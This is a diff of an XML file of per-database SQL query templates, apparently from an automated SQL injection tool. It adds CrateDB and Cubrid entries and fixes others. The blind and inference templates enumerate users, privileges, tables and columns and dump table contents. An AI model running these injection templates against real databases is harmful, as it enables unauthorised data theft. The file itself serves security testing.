<!-- Oracle -->
|
||||
<dbms value="Oracle">
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
@@ -322,7 +319,6 @@
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- SQLite -->
|
||||
<dbms value="SQLite">
|
||||
<cast query="CAST(%s AS TEXT)" dbms_version=">=3.0"/>
|
||||
<!-- NOTE: On SQLite version 2 everything is stored as a string (Reference: http://www.mono-project.com/SQLite) -->
|
||||
@@ -376,7 +372,6 @@
|
||||
<search_column/>
|
||||
</dbms>
|
||||
|
||||
<!-- Microsoft Access -->
|
||||
<dbms value="Microsoft Access">
|
||||
<cast query="RTRIM(CVAR(%s))"/>
|
||||
<length query="LEN(RTRIM(CVAR(%s)))"/>
|
||||
@@ -421,7 +416,6 @@
|
||||
<search_column/>
|
||||
</dbms>
|
||||
|
||||
<!-- Firebird -->
|
||||
<dbms value="Firebird">
|
||||
<cast query="TRIM(CAST(%s AS VARCHAR(10000)))"/>
|
||||
<length query="CHAR_LENGTH(TRIM(%s))"/>
|
||||
@@ -451,8 +445,8 @@
|
||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
|
||||
</users>
|
||||
<tables>
|
||||
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>
|
||||
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
|
||||
</tables>
|
||||
<privileges>
|
||||
<inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
|
||||
@@ -462,9 +456,9 @@
|
||||
<statements/>
|
||||
<dbs/>
|
||||
<columns>
|
||||
<!--<inband query="SELECT r.RDB$FIELD_NAME,CASE f.RDB$FIELD_TYPE WHEN 261 THEN 'BLOB' WHEN 14 THEN 'CHAR' WHEN 40 THEN 'CSTRING' WHEN 11 THEN 'D_FLOAT' WHEN 27 THEN 'DOUBLE' WHEN 10 THEN 'FLOAT' WHEN 16 THEN 'INT64' WHEN 8 THEN 'INTEGER' WHEN 9 THEN 'QUAD' WHEN 7 THEN 'SMALLINT' WHEN 12 THEN 'DATE' WHEN 13 THEN 'TIME' WHEN 35 THEN 'TIMESTAMP' WHEN 37 THEN 'VARCHAR' ELSE 'UNKNOWN' END AS field_type FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>-->
|
||||
<inband query="SELECT r.RDB$FIELD_NAME,f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>
|
||||
<blind query="SELECT r.RDB$FIELD_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" query2="SELECT f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s' AND r.RDB$FIELD_NAME='%s'" count="SELECT COUNT(r.RDB$FIELD_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>
|
||||
<!--<inband query="SELECT r.RDB$FIELD_NAME,CASE f.RDB$FIELD_TYPE WHEN 261 THEN 'BLOB' WHEN 14 THEN 'CHAR' WHEN 40 THEN 'CSTRING' WHEN 11 THEN 'D_FLOAT' WHEN 27 THEN 'DOUBLE' WHEN 10 THEN 'FLOAT' WHEN 16 THEN 'INT64' WHEN 8 THEN 'INTEGER' WHEN 9 THEN 'QUAD' WHEN 7 THEN 'SMALLINT' WHEN 12 THEN 'DATE' WHEN 13 THEN 'TIME' WHEN 35 THEN 'TIMESTAMP' WHEN 37 THEN 'VARCHAR' ELSE 'UNKNOWN' END AS field_type FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>-->
|
||||
<inband query="SELECT r.RDB$FIELD_NAME,f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" condition="r.RDB$FIELD_NAME"/>
|
||||
<blind query="SELECT r.RDB$FIELD_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" query2="SELECT f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s' AND r.RDB$FIELD_NAME='%s'" count="SELECT COUNT(r.RDB$FIELD_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" condition="r.RDB$FIELD_NAME"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
@@ -472,18 +466,15 @@
|
||||
</dump_table>
|
||||
<search_db/>
|
||||
<search_table>
|
||||
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0) AND %s" condition="RDB$RELATION_NAME" condition2=""/>
|
||||
<blind query="" query2="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" count="" count2="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" condition="RDB$RELATION_NAME" condition2=""/>
|
||||
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0) AND %s" condition="RDB$RELATION_NAME" condition2=""/>
|
||||
<blind query="" query2="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="" count2="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" condition="RDB$RELATION_NAME" condition2=""/>
|
||||
</search_table>
|
||||
<search_column/>
|
||||
<search_column>
|
||||
<inband query="SELECT r.RDB$RELATION_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE %s" condition="r.RDB$FIELD_NAME" condition2="" condition3="r.RDB$RELATION_NAME"/>
|
||||
<blind query="" query2="SELECT DISTINCT(r.RDB$RELATION_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE %s" count="" count2="SELECT COUNT(DISTINCT(r.RDB$RELATION_NAME)) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE %s" condition="r.RDB$FIELD_NAME" condition2="" condition3="r.RDB$RELATION_NAME"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- SAP MaxDB -->
|
||||
<!-- http://dev.mysql.com/tech-resources/articles/maxdb-php-ready-for-web.html -->
|
||||
<!-- http://dev.mysql.com/doc/refman/5.0/es/maxdb-reserved-words.html -->
|
||||
<!-- http://maxdb.sap.com/doc/7_6/default.htm -->
|
||||
<!-- http://www.sapdb.org/7.4/htmhelp/35/f8823cb7e5d42be10000000a114027/content.htm -->
|
||||
<!-- http://www.ximido.de/research/PenTestingMaxDB.pdf -->
|
||||
<dbms value="SAP MaxDB">
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="VALUE(%s,' ')" query2="IFNULL(%s,' ')"/>
|
||||
@@ -499,12 +490,12 @@
|
||||
<comment query="--" query2="#"/>
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="CONCAT(%s,%s)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM VERSIONS"/>
|
||||
<hex query="HEX(%s)"/>
|
||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||
<banner query="SELECT ID FROM SYSINFO.VERSION"/>
|
||||
<current_user query="SELECT USER() FROM DUAL"/>
|
||||
<current_db query="SELECT DATABASE() FROM DUAL"/>
|
||||
<current_user query="SELECT USER() FROM VERSIONS"/>
|
||||
<current_db query="SELECT USER() FROM VERSIONS"/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
@@ -534,9 +525,12 @@
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schemaname FROM domain.tables WHERE %s" condition="schemaname"/>
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM domain.tables WHERE %s" count="SELECT COUNT(DISTINCT(schemaname)) FROM domain.tables WHERE %s" condition="schemaname"/>
|
||||
</search_db>
|
||||
</dbms>
|
||||
|
||||
<!-- Sybase -->
|
||||
<dbms value="Sybase">
|
||||
<cast query="CONVERT(VARCHAR(4000),%s)"/>
|
||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
||||
@@ -606,7 +600,6 @@
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- IBM DB2 -->
|
||||
<dbms value="IBM DB2">
|
||||
<!-- Casting to varchar does not work with version < v9, so we had to use char(254) instead -->
|
||||
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
||||
@@ -631,7 +624,7 @@
|
||||
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS LIMIT,versionnumber FROM sysibm.sysversions) AS qq WHERE LIMIT=1"/>
|
||||
<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
||||
<!-- NOTE: On DB2 we use the current user as default schema (database) -->
|
||||
<current_db query="SELECT current server FROM SYSIBM.SYSDUMMY1"/>
|
||||
<current_db query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
||||
<hostname query="SELECT host_name FROM TABLE(sysproc.env_get_sys_info())"/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
@@ -679,7 +672,6 @@
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Hyper SQL Database -->
|
||||
<dbms value="HSQLDB">
|
||||
<cast query="CAST(%s AS LONGVARCHAR)"/>
|
||||
<length query="CHAR_LENGTH(%s)"/>
|
||||
@@ -696,7 +688,8 @@
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="CONCAT(%s,%s)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex query="RAWTOHEX(%s)"/>
|
||||
<!-- NOTE: RAWTOHEX() doesn't accept non-binary values -->
|
||||
<!-- <hex query="RAWTOHEX(%s)"/> -->
|
||||
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
||||
<banner query="DATABASE_VERSION()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
@@ -704,7 +697,7 @@
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="SELECT ADMIN FROM INFORMATION_SCHEMA.USERS WHERE NAME=CURRENT_USER"/>
|
||||
<is_dba query="SELECT ADMIN FROM INFORMATION_SCHEMA.SYSTEM_USERS WHERE USER_NAME=CURRENT_USER"/>
|
||||
<check_udf/>
|
||||
<users>
|
||||
<!-- LIMIT is needed at start for v1.7 this gets mangled unless no-cast is used -->
|
||||
@@ -763,7 +756,7 @@
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="//"/>
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="CONCAT(%s,%s)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex query="RAWTOHEX(%s)"/>
|
||||
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
||||
@@ -813,9 +806,6 @@
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Informix -->
|
||||
<!-- https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_072.htm -->
|
||||
<!-- https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sec.doc/ids_am_041.htm -->
|
||||
<dbms value="Informix">
|
||||
<cast query="RTRIM(TO_CHAR(%s))"/>
|
||||
<length query="CHAR_LENGTH(RTRIM(%s))"/>
|
||||
@@ -832,7 +822,8 @@
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSMASTER:SYSDUAL"/>
|
||||
<hex query="HEX(%s)"/>
|
||||
<!-- NOTE: HEX() only accepts integer values -->
|
||||
<!-- <hex query="HEX(%s)"/> -->
|
||||
<!-- http://www.dbforums.com/showthread.php?1660588-select-first-and-union&p=6478613#post6478613 -->
|
||||
<inference query="ASCII(SUBSTR((SELECT * FROM (%s)),%d,1))>%d"/>
|
||||
<banner query="SELECT DBINFO('VERSION','FULL') FROM SYSMASTER:SYSDUAL"/>
|
||||
@@ -877,7 +868,6 @@
|
||||
<search_column/>
|
||||
</dbms>
|
||||
|
||||
<!-- MonetDB -->
|
||||
<dbms value="MonetDB">
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
@@ -892,7 +882,7 @@
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="#"/>
|
||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||
<concatenate query="CONCAT(%s,%s)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<banner query="SELECT value FROM environment WHERE name='monet_version'"/>
|
||||
@@ -942,7 +932,6 @@
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Apache Derby -->
|
||||
<dbms value="Apache Derby">
|
||||
<!-- NOTE: CHAR(%s) causes 'A truncation error was encountered trying to shrink CHAR' -->
|
||||
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
||||
@@ -1011,7 +1000,6 @@
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Vertica -->
|
||||
<dbms value="Vertica">
|
||||
<cast query="CAST(%s AS CHARACTER(10000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
@@ -1088,9 +1076,8 @@
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Mckoi -->
|
||||
<!-- NOTE: DBMS with minimalistic set of (restricted) features -->
|
||||
<dbms value="Mckoi">
|
||||
<!-- NOTE: DBMS with minimalistic set of (restricted) features -->
|
||||
<cast query="CONCAT('',%s)"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="IF(%s IS NULL,' ', %s)"/>
|
||||
@@ -1130,7 +1117,6 @@
|
||||
<search_column/>
|
||||
</dbms>
|
||||
|
||||
<!-- Presto -->
|
||||
<dbms value="Presto">
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
@@ -1192,7 +1178,6 @@
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Altibase -->
|
||||
<dbms value="Altibase">
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
@@ -1265,9 +1250,8 @@
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- MimerSQL -->
|
||||
<!-- NOTE: DBMS with stohastic output of rows (ORDER BY required) -->
|
||||
<dbms value="MimerSQL">
|
||||
<!-- NOTE: DBMS with stohastic output of rows (ORDER BY required) -->
|
||||
<!-- NOTE: NVARCHAR(4000) causes problems in boolean (e.g. 'Required temporary table row length is 32006, only 32000 is possible') -->
|
||||
<cast query="CAST(%s AS NVARCHAR(1000))"/>
|
||||
<length query="CHAR_LENGTH(%s)"/>
|
||||
@@ -1334,4 +1318,312 @@
|
||||
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' ORDER BY table_name" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<dbms value="CrateDB">
|
||||
<cast query="CAST(%s AS TEXT)"/>
|
||||
<length query="CHAR_LENGTH((%s)::text)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="LIMIT %d OFFSET %d"/>
|
||||
<limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="2"/>
|
||||
<limitgroupstop query="1"/>
|
||||
<limitstring query=" LIMIT "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<!-- NOTE: non-; version(s) doesn't work properly -->
|
||||
<comment query=";--" query2=";/*"/>
|
||||
<substring query="SUBSTR((%s)::text,%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<!-- NOTE: ASCII() only available in >= 4.1 -->
|
||||
<inference query="SUBSTR((%s)::text,%d,1)>'%c'" query2="ASCII(SUBSTR((%s)::text,%d,1))>%d"/>
|
||||
<banner query="SELECT version['number'] FROM sys.nodes" query2="VERSION()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="CURRENT_SCHEMA()"/>
|
||||
<hostname query="SELECT hostname FROM sys.nodes"/>
|
||||
<!--<table_comment query="SELECT pg_catalog.obj_description(c.oid) FROM pg_catalog.pg_class c WHERE c.relname='%s'"/>-->
|
||||
<table_comment query="SELECT description FROM pg_description JOIN pg_class ON pg_description.objoid=pg_class.oid JOIN pg_namespace ON pg_class.relnamespace=pg_namespace.oid WHERE nspname='%s' AND relname='%s'"/>
|
||||
<column_comment/>
|
||||
<is_dba query="(SELECT superuser=true FROM sys.users WHERE name=CURRENT_USER)"/>
|
||||
<check_udf/>
|
||||
<users>
|
||||
<inband query="SELECT name FROM sys.users"/>
|
||||
<blind query="SELECT name FROM sys.users LIMIT 1 OFFSET %d" count="SELECT COUNT(name) FROM sys.users"/>
|
||||
</users>
|
||||
<passwords/>
|
||||
<privileges>
|
||||
<inband query="SELECT grantee,type FROM sys.privileges" condition="grantee"/>
|
||||
<blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee %s '%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee %s '%s'"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<statements>
|
||||
<inband query="SELECT stmt FROM sys.jobs"/>
|
||||
<blind query="SELECT stmt FROM sys.jobs LIMIT 1 OFFSET %d" count="SELECT COUNT(stmt) FROM sys.jobs"/>
|
||||
</statements>
|
||||
<dbs>
|
||||
<inband query="SELECT schema_name FROM information_schema.schemata"/>
|
||||
<blind query="SELECT schema_name FROM information_schema.schemata ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(schema_name) FROM information_schema.schemata"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT table_schema,table_name FROM information_schema.tables" condition="table_schema"/>
|
||||
<blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schema_name FROM information_schema.schemata WHERE %s" condition="schema_name"/>
|
||||
<blind query="SELECT schema_name FROM information_schema.schemata WHERE %s" count="SELECT COUNT(DISTINCT(schema_name)) FROM information_schema.schemata WHERE %s" condition="schema_name"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT table_schema,table_name FROM information_schema.tables WHERE %s" condition="table_name" condition2="table_schema"/>
|
||||
<blind query="SELECT DISTINCT(table_schema) FROM information_schema.tables WHERE %s" query2="SELECT table_name FROM information_schema.tables WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.tables WHERE %s" count2="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
|
||||
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Cubrid">
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="CHAR_LENGTH(%s)"/>
|
||||
<isnull query="IFNULL(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="LIMIT %d,%d"/>
|
||||
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" LIMIT "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="/*" query3="//"/>
|
||||
<substring query="MID((%s),%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex query="HEX(%s)"/>
|
||||
<inference query="ASCII(MID((%s),%d,1))>%d"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="CURRENT_USER"/>
|
||||
<hostname/>
|
||||
<table_comment query="SELECT comment FROM db_class WHERE owner_name='%s' AND class_name='%s'"/>
|
||||
<column_comment query="SELECT db_attribute.comment FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s' AND db_class.class_name='%s' AND attr_name='%s'"/>
|
||||
<is_dba query="CURRENT_USER='DBA'"/>
|
||||
<check_udf query="(SELECT meth_name FROM db_method WHERE meth_name='%s' LIMIT 0,1)='%s'"/>
|
||||
<users>
|
||||
<inband query="SELECT name FROM db_user"/>
|
||||
<blind query="SELECT name FROM db_user LIMIT %d,1" count="SELECT COUNT(name) FROM db_user"/>
|
||||
</users>
|
||||
<passwords/>
|
||||
<privileges>
|
||||
<inband query="SELECT grantee_name,auth_type FROM db_auth" condition="grantee_name"/>
|
||||
<blind query="SELECT DISTINCT(auth_type) FROM db_auth WHERE grantee_name='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(auth_type)) FROM db_auth WHERE grantee_name='%s'"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<statements/>
|
||||
<dbs>
|
||||
<inband query="SELECT owner_name FROM db_class"/>
|
||||
<blind query="SELECT DISTINCT(owner_name) FROM db_class LIMIT %d,1" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_class"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT owner_name,class_name FROM db_class" condition="owner_name"/>
|
||||
<blind query="SELECT class_name FROM db_class WHERE owner_name='%s' LIMIT %d,1" count="SELECT COUNT(class_name) FROM db_class WHERE owner_name='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT attr_name,data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
|
||||
